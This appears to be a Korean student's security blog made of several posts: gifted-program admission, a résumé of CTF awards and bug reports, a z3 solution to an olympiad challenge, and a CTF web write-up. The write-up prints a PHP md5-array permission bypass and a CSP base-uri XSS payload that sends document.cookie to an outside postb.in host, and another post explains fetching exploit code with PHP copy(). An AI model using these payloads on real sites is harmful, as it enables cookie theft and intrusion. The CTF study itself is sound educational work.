중학교 2학년 때 우연찮게 처음 나간 대회임에도 불구하고 한세 사이버 보안고등학교에서 주최하는 제4회 중학생 정보보안 콘테스트 입상을 하게 되었다.

그러고 나서 시상식 참석으로 재학 중이었던 중학교로 공문이 발송되었고, 이를 알게 된 중학교 정보 선생님은 자연스럽게 정보보호 영재교육원 존재에 대해서 알려주셨다. 사실 BoB(Best of the Best) 존재도 사실 몰랐지만, 이후에 알게 되었다.

사실 정보쌤이 알려주신 시점에서 지원서를 넣을 수 있었긴 했으나, 흔히 말하는 "귀차니즘"으로 지원하지도 않았고, 그다음 년에도, 그리고 고등학교 1학년 때까지 지원을 하지 않았었다.

왜?

나에게 도움되는지에 대해서 몰랐던게 내 '탓'이 아녔을까 싶다.

고등학교 2학년때 우연히 정보 선생님을 통해서 중학교 후배가 정보보호 영재교육원에 대해서 준비하고 있다고 전달을 받았었다.

그 중학교 후배 친구는 아쉽게도, 서류를 붙지 못해서 아쉽다는 생각을 했었다.
그래도 부디 내년에는 꼭 붙을 수 있길 바래야 되겠다.

"아, 나도 한번 해볼까?"라는 생각이 문뜩 들어서 중학교 때 정보 선생님한테 같이 추천서를 부탁드렸었다.

어떻게?

지원하기 위해서는 "자기소개서", "교사 추천서" 등등이 필요로 했는데, 준비하는 데 2~3일 정도 걸렸었던 것 같다.

1월 20일

이후 나머지 서류도 준비해서 언제 보냈는지 기억은 안 나지만, 1월 20일 날 서류가 잘 접수가 되었다고, 연락이 왔었다.
이후 1월 20일날 오후 3시쯤에 서류 합격자에 대해서 문자 메시지를 받았었다, 진짜 긴장하고 들어갔었는데 나도 명단에 있어서 매우 놀라웠다...

1월 29일(금)

면접을 이 날에 했었다. 확실한 건 내가 많이 목소리를 떨었다는 것이다.
아무래도 긴장해서 그랬던 것 같다. 그래도 면접 질문에 대해서 자기소개서에서 풀었던 내용들이 몇 개 있어서 잘 답변할 수 있었다.

2월 03일

이렇게 해서 떨어질 것 같았던 정보보호 영재교육원 2월 3일 날, 최종 합격 명단이 공개되었다.

2월 10일 

이후 이날 입학 축하하다는 소식이 왔다!
이날 진짜 기분이 좋았다.

자연스레 인스타그램 스토리 올렸을 때 주변 사람들이 대학교 가냐고 물어봤었다.
나는 자연스레 영재교육원이라고 말씀을 드렸다.. ㅋㅎㅋㅎㅋ

'Story > InfoSec Gifted' 카테고리의 다른 글

정보보호 영재교육원 - 지원  (0) 2021.08.09

소속 / 수료

  • Stella IT Inc. CEO 2017.06 ~
    • Stella IT USA, LLC 2021.07 ~
  • 서울여자대학교 정보보호영재교육원 고등전문B반 2021.03 ~ 
    → [특별반] 해킹경진대회 대비반 2021.05 ~
    → [특별반] R&E(Research & Education) 2021.05 ~
  • 경기꿈의대학 "4차 산업혁명 시대 R을 통해 배우는 데이터 과학" 2021.04.08 ~ 2021.06.10 17시간 수료
  • 경기꿈의대학 "정보보안 및 해커방어" 2021.04.13 ~ 2021.06.15 17시간 수료

대회(국내)

  • 2018 if hackathon (해커톤)
  • 2018 제주특별자치도 디지털 사회혁신 해커톤 
  • 2018 제 4회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교)
  • 2019 전국 청소년 모의해킹대회(한국 디지털 미디어 고등학교) 예선 8등
  • 2019 전국 청소년 모의해킹대회(한국 디지털 미디어 고등학교) 본선 6등
  • 2019 사이버작전 경연대회 학생부 예선전 4등
  • 2019 사이버작전 경연대회 학생부 본선 3등
  • 제 6회 The Hacking Championship Junior 예선전 4등
  • 제 5회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교) 3등
  • 2020 중부대학교 해킹방어대회 (JBU-CTF) 10등
  • 15회 중고생정보보호올림피아드 본선 진출 
  • 2021 KOSPO 제2회 웹서비스 경진대회
  • 2021 전국 고등학생 보안경진대회
  • 2021 화이트햇 콘테스트 청소년부 예선 3등 -> 본선 진출

수상

  • 제 4회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교) 금상
  • 2019 전국 청소년 모의해킹대회(한국 디지털 미디어 고등학교) 은상
  • 2019 사이버작전 경연대회 학생부 장려상
  • 제 5회 중학생 정보보안 콘테스트(한세 사이버 보안고등학교) 은상
  • KOSPO 제2회 웹서비스 경진대회 우수상 (청소년 부문)

취약점 제보

  • Naver BugBounty Program SPECIAL CONTRIBUTORS(2020) 선정
    -> NBB-1372
  • S사 보안 솔루션, RCE(Remote Code Execution) 및 이외 페이지 ACL 문제
  • 지역아동센터, 관리자 페이지 ACL 문제
  • 국내 컴퓨터 판매 쇼핑물 / 무한 생일 쿠폰 발급

'ABOUT' 카테고리의 다른 글

ABOUT  (0) 2021.05.09

안녕하세요. 잇님들

오늘은 정보보호 올림피아드에서 나온 Q2 문제를 알아볼꺼에요.

#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>

int Solution(unsigned int *data)
{

        if ( 316 * data[0]
	 - 901 * data[1]
     + 0 * data[2]
     - 984 * data[3]
     + 359 * data[4]
     - 986 * data[5]
     - 869 * data[6]
     - 733 * data[7]
     - 800 * data[8]
     + 621 * data[9] == -347560 ){
                if ( 754 * data[0]
				     + 103 * data[1]
				     - 230 * data[2]
				     + 359 * data[3]
				     - 516 * data[4]
				     + 133 * data[5]
				     - 16 * data[6]
				     - 500 * data[7]
				     - 343 * data[8]
				     + 980 * data[9] == 31039 ){
                        if ( 641 * data[0]
						     +262 * data[1]
						     - 415 * data[2]
						     - 889 * data[3]
						     + 621 * data[4]
						     - 855 * data[5]
						     - 818 * data[6]
						     - 785 * data[7]
						     - 866 * data[8]
						     - 799 * data[9]== -262955 ){
                                if ( 473 * data[0]
							     - 57 * data[1]
							     - 477 * data[2]
							     + 164 * data[3]
							     - 22 * data[4]
							     - 865 * data[5]
							     - 784 * data[6]
							     - 768 * data[7]
							     + 416 * data[8]
							    - 121 * data[9]== -180990){
                                        if ( 944 * data[0]
                                      - 912 * data[1]
                                      + 667 * data[2]
                                      + 303 * data[3]
                                      + 524 * data[4]
                                      - 523 * data[5]
                                      + 227 * data[6]
                                      + 799 * data[7]
                                      - 618 * data[8]
                                      - 739 * data[9]== 156060 ){
                                                if ( 597 * data[0]
                                              - 381 * data[1]
                                              - 996 * data[2]
                                              + 109 * data[3]
                                              + 476 * data[4]
                                              - 48 * data[5]
                                              - 710 * data[6]
                                              - 384 * data[7]
                                              - 390 * data[8]
                                              - 507 * data[9]== -143022){
                                                        if (164 * data[0]
                                                      - 300 * data[1]
                                                      - 808 * data[2]
                                                      + 308 * data[3]
                                                      + 311 * data[4]
                                                      - 144 * data[5]
                                                      + 230 * data[6]
                                                      + 251 * data[7]
                                                      + 998 * data[8]
                                                      - 469 * data[9]== 18791){
                                                                if (301 * data[0]
                                                              + 571 * data[1]
                                                              + 955 * data[2]
                                                              - 462 * data[3]
                                                              - 4 * data[4]
                                                              - 541 * data[5]
                                                              - 380 * data[6]
                                                              + 96 * data[7]
                                                              - 62 * data[8]
                                                              - 452 * data[9]== 60199){
                                                                 if (703 * data[0]
                                                                      - 635 * data[1]
                                                                      - 733 * data[2]
                                                                      + 119 * data[3]
                                                                      - 549 * data[4]
                                                                      + 220 * data[5]
                                                                      + 739 * data[6]
                                                                      + 102 * data[7]
                                                                      + 812 * data[8]
                                                                      - 770 * data[9]== -48454){
                                                                 if (207 * data[0]
                                                                       + 426 * data[1]
                                                                       + 324 * data[2]
                                                                       + 403 * data[3]
                                                                       + 149 * data[4]
                                                                       + 257 * data[5]
                                                                       + 765 * data[6]
                                                                       - 368 * data[7]
                                                                       + 707 * data[8]
                                                                       - 221 * data[9]== 202674 ){
                                                                

                                                                 return 1;
                                                                 
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                 }
                                                                 else
                                                                 {
                                                                 }
                                                                }
                                                                else
                                                                {
                                                                }
                                                        }
                                                        else
                                                        {
                                                        }
                                                }
                                                else
                                                {
                                                }
                                        }
                                        else
                                        {
                                        }
                                }
                                else
                                {
                                }
                        }
                        else
                        {
                        }

        return 0;
}

int main(){
        unsigned int data[10];

	puts(" ** enjoy **");
        fflush(stdin);
        int i; 
        for (i = 0; i < sizeof(data)/sizeof(int); i++) {
                printf(" Input[%d] : ", i);
                fflush(stdin);
                scanf("%u", &data[i]);
        }

        if ( (unsigned int)Solution(data) ) {
        
            printf(" [+] flag {%c%c%c%c%c%c%c%c%c%c}\n", data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7], data[8], data[9]);
        }
        else {
                puts(" [-] nope!!");
        }
        return 0;
}

 위와 같은 코드가 주어졌고, 10차 방정식을 풀어야되네요!

인간이 어떻게 이걸 다 푸냐고요? 네, 풀려면 엄청난 시간이 필요로 할꺼에요.

이걸 10초만에 계산하는 인간이 있다면, 그 사람은 외계인일 가능성이 높을꺼에요.

조심하세요...

#!/usr/bin/python
from z3 import *
import json

data = [ BitVec('%i'%i,8) for i in range(0,10)]



s = Solver()
 
# s.add(((data[3] * data[6]) ^ (data[2] * data[2])) == 7320)
s.add(316 * data[0] - 901 * data[1] + 0 * data[2] - 984 * data[3] + 359 * data[4] - 986 * data[5] - 869 * data[6] - 733 * data[7] - 800 * data[8] + 621 * data[9] == -347560)
s.add(754 * data[0] + 103 * data[1] - 230 * data[2] + 359 * data[3] - 516 * data[4] + 133 * data[5] - 16 * data[6] - 500 * data[7] - 343 * data[8] + 980 * data[9] == 31039)
s.add(641 * data[0] +262 * data[1] - 415 * data[2] - 889 * data[3] + 621 * data[4] - 855 * data[5] - 818 * data[6] - 785 * data[7] - 866 * data[8] - 799 * data[9]== -262955)
s.add(473 * data[0] - 57 * data[1] - 477 * data[2] + 164 * data[3] - 22 * data[4] - 865 * data[5] - 784 * data[6] - 768 * data[7] + 416 * data[8] - 121 * data[9]== -180990)
s.add(944 * data[0] - 912 * data[1] + 667 * data[2]  + 303 * data[3] + 524 * data[4] - 523 * data[5] + 227 * data[6] + 799 * data[7] - 618 * data[8] - 739 * data[9]== 156060)
s.add(597 * data[0] - 381 * data[1] - 996 * data[2] + 109 * data[3] + 476 * data[4] - 48 * data[5] - 710 * data[6] - 384 * data[7] - 390 * data[8] - 507 * data[9]== -143022)
s.add(164 * data[0] - 300 * data[1] - 808 * data[2] + 308 * data[3] + 311 * data[4] - 144 * data[5] + 230 * data[6] + 251 * data[7] + 998 * data[8] - 469 * data[9]== 18791)
s.add(301 * data[0] + 571 * data[1] + 955 * data[2] - 462 * data[3] - 4 * data[4] - 541 * data[5] - 380 * data[6] + 96 * data[7] - 62 * data[8] - 452 * data[9]== 60199)
s.add(703 * data[0] - 635 * data[1] - 733 * data[2] + 119 * data[3] - 549 * data[4] + 220 * data[5] + 739 * data[6] + 102 * data[7] + 812 * data[8] - 770 * data[9]== -48454)
s.add(207 * data[0] + 426 * data[1] + 324 * data[2] + 403 * data[3] + 149 * data[4] + 257 * data[5] + 765 * data[6] - 368 * data[7] + 707 * data[8] - 221 * data[9]== 202674)

print (s.check())

m = s.model()
print(m)

#for i in range(0, 10):
    #print(m[i])

"""
sat
[a4 = 111,
 a7 = 111,
 a2 = 108,
 a1 = 101,
 a0 = 104,
 a6 = 48,
 a9 = 47,
 a8 = 48,
 a5 = 92,
 a3 = 108]

a0 = 104,
a1 = 101,
a2 = 108,
a3 = 108,
a4 = 111,
a5 = 92,
a6 = 48,
a7 = 111,
a8 = 48,
a9 = 47,

String.fromCharCode(104,101,108,108,111,92,48,111,48,47)
"hello\0o0/"

"""

위와 같이 풀어주면, 아스키코드가 나오고, 자바스크립트 콘솔을 통해 플래그를 얻을 수 있었습니다.

웹사이트 접속하고 나서, 무슨 사이트 인지 파악하기 위해 막 눌러봤다.

howtobuy.php로 끝나는 페이지에서 아래와 같은 문구를 발견하였다.

총기구매하기 위해서는, "스페셜"이라는 권한이 필요하다는 사실을 문구를 통해서 알 수 있었다.

페이지 소스 보기를 통해서, 주석을 발견할 수 있었고, 주석을 통해서 "스페셜" 권한을 얻을 수 있을 수 있는 힌가 될 것이라고 판단하여, 접속해봤습니다.

해당 페이지는 마찬가지로, "스페셜" 권한을 가지고 있는지 아닌지에 대해 알려주고 있었습니다.
또한 주석에는 호기심을 자극하도록 되어있었습니다. (??)

<?php

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])
    && isset($_GET["remote_debug"]))
  die(show_source(__FILE__));

if(!isset($_SESSION))
  session_start();

function is_special() {
  if(!isset($_SESSION["perm"]))
    return false;
  return $_SESSION["perm"];
}


if(isset($_GET["cred_plain"])) {
  $cred = $_GET["cred_plain"];
  $avail_users = [
    "admin" => "f6566fbef52560d383f5aa6a100697d8",
    "manager" => "ab1f6495fcbec4f0ea50425cc5539672",
    "guest" => false //Guest doesn't need to have credential!
  ];

  if(strpos($_SERVER["QUERY_STRING"], "cred_plain") || // During development, you can't get credential with cred_plain
      strpos($_SERVER["QUERY_STRING"], "["))            // Don't cheat!
    die("Don't cheat");

  if(in_array(md5($cred), $avail_users))
    $_SESSION["perm"] = true;
  else
    $_SESSION["perm"] = false;
}

if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])) {
  echo "<h4>You are ".(is_special() ? "special" : "not special")." now </h4>";
}
?>
<!-- ?remote_debug=1 -->
1

그래서 들어가봤고, 위와 같은 코드를 볼 수 있었습니다.

cred_plain 라는 파라미터를 GET 메소드로 받을 수 있다는 사실을 코드를 통해 알 수 있었고,

아래 코드를 참조해서, 스페셜이 될 수 있는 조건을 알 수 있었습니다.

  if(in_array(md5($cred), $avail_users))
    $_SESSION["perm"] = true;
  else
    $_SESSION["perm"] = false;

function is_special() {
  if(!isset($_SESSION["perm"]))
    return false;
  return $_SESSION["perm"];
}

위 조건식을 충족을 시킬 경우, "스페셜" 권한을 얻을 수 있었습니다.

그렇다면, 어떻게 조건식을 충족을 할 수 있을까요? 조건식을 충족을 하기 위해서 한번 좀 더 깊숙하게 들어가보도록 합시다!

if(in_array(md5($cred), $avail_users))

md5 함수는 배열을 받을 경우, false를 내뱉으며, false가 $avail_users 딕셔너리에 'guest' 항목이므로 in array 함수가 True가 됩니다. 그렇다면, cred_plain이 Array이어야 합니다.

그건 매우 간단한 솔루션을 마련하여, 해결할 수 있었습니다.

http://52.78.151.181/get_perm.php?cred_plain%5B%5D=asdfasdfsdfsdf

이렇게 만약 요청을 보낼 경우, "스페셜" 권한을 얻을 수 있었습니다.

이제 "스페셜" 권한을 얻었으니, 총기를 구매할 수 있습니다.

1. Product Code - 입력같은 경우 아무거나 입력해도, 상관이 없었습니다.

2. Purpose of use (free format, max 300 letters) - HTML Element Escape?를 통해, 원하는 HTML Element를 전달할 수 있도록 했습니다.

해당 사이트에서는 CSP(Content Security Policy)가 존재했으며, base-uri같은 경우 설정 미스로, 설정 미스를 통해 CSP Bypass를 할 수 있게 됩니다.

사이트에 있는 스크립트를 만약 "abc.com/static/js/jquery.min.js"라는 부분이 있다면, base tag에 의해서, "yunseok.kr/static/js/jquery.min.js"로 요청하는 꼴이 됩니다.

그렇다면, yunseok.kr 웹서버에서 똑같은 경로에 똑같은 파일 명으로 악성 스크립트전파한다면, 그거야 말로 파급력은 대단할 것입니다.

저는 아래와 같이 코드를 업로드했습니다.

var payload = document.cookie;
var nonce = document.querySelector("script").nonce;

var src = `https://postb.in/1569059561759-0691916393116?hello=/?${payload}`

var s = document.createElement('script')
s.type = 'text/javascript'
s.src = src
s.setAttribute('nonce', nonce)

document.body.appendChild(s);

3. Pistol license - 해당 파일같은 경우 아무거나 보내도 무관했습니다.

4. Proof of work - 특정 값을 sha1로 암호화할 경우, 앞 5자리를 입력 값의 sha1 암호화해서 대조하여, 일치하는지 확인하는 부분입니다. / 이 부분에 대해서는 아래 코드를 통해, 알 수 있었습니다.

from hashlib import sha1

def get_hash(target):
    for val in range(10000000):
        if sha1(str(val).encode('utf-8')).hexdigest()[:5] == target:
            print(val)
            break


stra = input()
get_hash(stra)

위와 같이 해서 "Send Request" 버튼을 눌러서, 어드민에게 요청이 갈 것이며, 우리가 생각하는 생각 대로 정상적으로 악성 스크립트실행 되어, Flag가 우리에게 올 것입니다. 

그렇게 해서, "th1s1sv3rys3cr3tm4g1c0fc55" 라는 값을 얻을 수 있었고, 이건 바로 플래그다.

Flag is FLAG{th1s1sv3rys3cr3tm4g1c0fc55}

copy(remote file, local file);

의외로 다양한 CTF에서 eval() 가능하여, 일부 함수를 호출하려고 했을 때 disable_functions 로 인해서 제한적인 상황에서 내가 원하는 코드를 실행을 하기 위해서는 막히지 않은 함수를 통해서 해결을 해야하기도 합니다.

이러한 막히지 않은 함수를 찾기는 어렵고, 시간은 부족한데 이때 copy() 라는 함수와 서버 내에서 구동되고 있는 PHP 버전이 Disable Functions 와 관련한 취약점이 있다면, copy() 라는 함수를 통해서 취약점 PoC 코드를 다운로드를 받을 수 있습니다.

'Trick > Web' 카테고리의 다른 글

PHP Disable_Functions Bypass (copy 함수를 막지 않았을 경우)  (0) 2020.03.24
PHP 7.3 disable_functions Bypass  (0) 2019.10.11

실제로 겪었던 경험이자, whois에서 나오는 status 정보가 유용하다는 사실을 알리고 싶어, 이 글을 작성하게 되었습니다. 

도메인이 만료일이 지나지 않았으며, 제때 연장을 하였으나, ClientHold가 걸려 DNS 전파가 안되었던 적이 발생했었다.
해당 부분에 대해서는 다른 계정으로 도메인을 이전을 하였을 때 자연스럽게 풀렸었다.
왜? 다른 계정으로 이전을 하였을때 바로 풀렸는지가 의문이다. 그리고 해당 문제가 발생했었던 도메인 등록 대행 업체를 최대한 믿고 거르기로 했다.

나중에 한번 더 자세히 글을 작성해보도록 할 예정이다! :)

[홈페이지(PC) > 내 정보 관리 > 가입 서비스 조회 및 변경 >
내 가입 정보 > 모바일 자세히 보기 > 휴대폰 가입 정보 > 유심 잠금 해제 번호(PUK) 조회하기]
코너를 통하여 유심 잠금 해제 번호(PUK) 확인이 가능하니 안심하셔도 됩니다.

※ 본인 인증(범용공인인증서 또는 아이핀) 필요

https://packetstormsecurity.com/files/154728/PHP-7.3-disable_functions-Bypass.html

'Trick > Web' 카테고리의 다른 글

PHP Disable_Functions Bypass (copy 함수를 막지 않았을 경우)  (0) 2020.03.24
PHP 7.3 disable_functions Bypass  (0) 2019.10.11

+ Recent posts